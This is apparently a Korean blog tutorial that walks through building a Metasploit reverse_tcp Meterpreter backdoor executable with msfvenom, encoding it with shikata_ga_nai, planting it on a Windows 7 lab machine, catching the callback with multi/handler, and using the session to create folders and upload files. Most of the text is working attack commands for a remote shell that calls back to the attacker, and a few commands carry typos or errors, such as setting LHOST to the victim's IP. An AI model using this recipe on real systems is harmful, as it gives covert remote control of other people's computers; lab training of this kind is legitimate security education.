해당 게시글은 kali linux 2017 amd64기준임을 말씀드립니다.
실습 환경은 다음과 같습니다.
구분 |
내용
|
공격자 PC 환경
|
Kali Linux 2017 amd 64
|
피해자 PC 환경
|
Windows 7 Pro 32Bit
|
가상 환경
|
VMware Player(or Workstation)
|
01. Metasploit 익스플로잇 파일 생성
Metasploit 익스플로잇 파일 생성 명령어는 다음과 같습니다.
~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai 0i 5
-b '\x00' LHOST=[공격자 IP] LPORT=[우리가 원하는 포트] -f exe > [파일이름] |
metasploit은 변경사항 때문에 명령어가 많이 달라졌습니다.
달라진 명령어는 msfvenom으로 되어있습니다.
명령어가 잘 안 보일 수 있기 때문에 아래에 추가적인 설명과 함께 Text로 작성해보았습니다.
msfvenom에서 x86/shikata_ga_nai를 사용하는 이유는 아래의 그림과 같아서 그렇습니다.
아래의 그림을 보면 Name, Rank, Description으로 구분되어 있는데, 해당 그림에서 Rank를 살펴보면 good, manual, low, normal, excellent 등으로 구분되어 있습니다.
우리는 이 중에서 excellent로 되어있는 encoder를 사용하도록 해야 합니다.
metasploit에서 인코더에 대한 정보를 검색하기 위한 명령어는 다음과 같습니다.
msfvenom 명령어에 대한 각각의 설명은 아래와 같습니다.
명령어(옵션)
|
내용
|
-p windows/meterpreter/reverse_tcp
|
reverse_tcp로 된 meterpreter를 payload에 사용함
|
-e x86/shikata_ga_nai
|
인코더는 x86/shikata_ga_nai를 사용함
|
-i 5 -b '\00'
|
쓸 데 없는 char를 지우기 위함임
|
LPORT=[우리가 원하는 포트]
|
Default 포트(meterpreter에서 사용되는 포트)의 숫자는 4444이다.
|
02. Metasploit Reverse TCP Exploit 실습
msfvenom 명령어를 통해 파일을 생성하며, 그 파일을 통해 Reverse TCP Exploit 실습을 진행하도록 합니다.
생성된 파일을 피해자 PC인 Windows 7 시스템에 옮기도록 합니다.
여기서 옮긴 파일의 이름은 Intel_HackerFile.exe 파일입니다.
만약 공격자의 프로그램이 피해자 시스템에서 실행될 때 두 가지 상태를 관찰할 수 있습니다.
첫 번째로, 공격자 PC에서 아무런 조치 없이 실행을 시키게 되면 아무런 일이 일어나지 않은 채 5초 후 꺼지게 됩니다.
두 번째로, 공격자 PC에서 연결 상태를 관찰하는 설정이 되어있으면, 실행시 바로 공격자와 연결됩니다.
때문에 먼저 Exploit 파일을 실행하기 앞서 공격자 PC에서 적절한 설정이 필요합니다.
03. Exploit 설정 - reverse_tcp
먼저 공격자 PC에서 msfconsole이라는 명령을 통해 metasploit 콘솔 창을 열도록 합니다.
msfconsole을 열기 위한 명령어는 다음과 같습니다.
아래의 그림은 msfconsole을 입력하고 콘솔 창을 띄운 그림입니다.
해당 창을 띄웠을 때 그림은 조금 다를 수 있으니 당황하지 않도록 합시다.
이제 msf> 라는 커맨드 창이 있을 것입니다.
해당 커맨드 창에서 각종 명령어를 입력합니다.
아래의 그림은 reverse_tcp 익스플로잇 설정을 말합니다.
reverse_tcp를 사용하기 위해서는 다음과 같은 명령어를 입력해주어야 합니다.
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST [피해자 IP] msf exploit(handler) > set LPORT [프로그램에 작성했던 포트 번호] msf exploit(handler) > set ExitOnSession false |
우리가 백도어로써 사용하는 방법이 reverse_tcp 기법을 이용한 exploit힙니다.
여기까지 설정하고, exploit을 시작하는 명령을 실행하면 공격자는 피해자와 연결하기 위한 준비를 모두 마치게 됩니다.
즉, 공격자는 피해자가 프로그램을 실행하도록 기다리는 상태라고 할 수 있습니다.
04. Exploit 실행 - reverse_tcp
아래의 그림은 reverse_tcp 익스플로잇 실행 후 상태를 보여주는 그림입니다.
exploit 명령어는 다음과 같습니다.
msf exploit(handler) > exploit -j -z |
위의 그림 상태는 우리가 Windows 7 시스템에 심어두었던 파일이 실행되기를 기다리고 있는 상태입니다.
이제 프로그램을 실행시켜보도록 합시다.
프로그램을 실행시키면 위의 그림과 같이 session이 연결되었다는 문구가 나옵니다.
해당 문구를 그림으로 설명해보자면 아래와 같습니다.
공격자의 IP는 192.168.37.131입니다.
피해자의 IP는 192.168.37.132입니다.
여기서 공격자가 피해자 시스템에 넣어둔 프로그램을 통해 Reverse TCP Session이 생성되었습니다.
여기까지 성공했다면, 내부적으로 공격자의 PC와 피해자의 PC가 연결되어 있는 상태입니다.
이때 연결되어 있는 Reverse TCP Session을 살펴보는 명령어를 이용하여 살펴보면 다음과 같습니다.
연결상태를 확인하는 명령어와 연결을 사용하기 위한 명령어는 다음과 같습니다.
msf exploit(handler) > show sessions msf exploit(handler) > sessions -i 1 |
세션을 살펴보는 명령어는 show sessions라는 명령어로, 지금 공격자의 PC와 연결된 세션들을 모두 나열해줍니다.
sessions -i 1은 1번 ID를 가지고 있는 세션을 연결(실행)하는 명령어입니다.
마지막으로 meterpreter > 가 띄워지면 성곡적으로 피해자 PC에 접근이 된 상태라고 할 수 있습니다.
05. Exploit 활용 - reverse_tcp
이제 바탕화면에 디렉토리를 생성해보고, 생성이 되었는지 확인해보도록 합니다.
아래의 명령어 세 가지를 통해 디렉토리가 잘 생성되었는지 확인해봅시다.
meterpreter > pwd
meterpreter > mkdir [폴더 이름] meterpreter > ls -l |
이제 우리가 가지고 있는 파일을 해당 디렉토리에 업로드해보도록 합시다.
업로드하는 명령어는 다음과 같습니다.
meterpreter > cd [생성한 폴더 이름] meterpreter > upload [절대경로 및 파일이름] meterpreter > ls -l |
업로드 한 파일의 이름은 You_are_Hacked.PNG 파일이고 해당 파일은 /root/Desktop/HackedMessage 디렉토리 내부에 있습니다.
현재 Terminal 창은 /root 디렉토리에서 켜졌습니다.
그리고 이후 msfconsole을 실행시킨 디렉토리 또한 /root입니다.
때문에 msfconsole이 가지고 있는 경로의 시작점은 /root이기 때문에 하위의 디렉토리는 모두 입력해줘야 합니다.
이제 우리는 해당 파일이 잘 업로드 되었는지 피해자 PC를 통해 확인해보도록 합시다.
파일이 잘 올라갔습니다.
미션 Success!!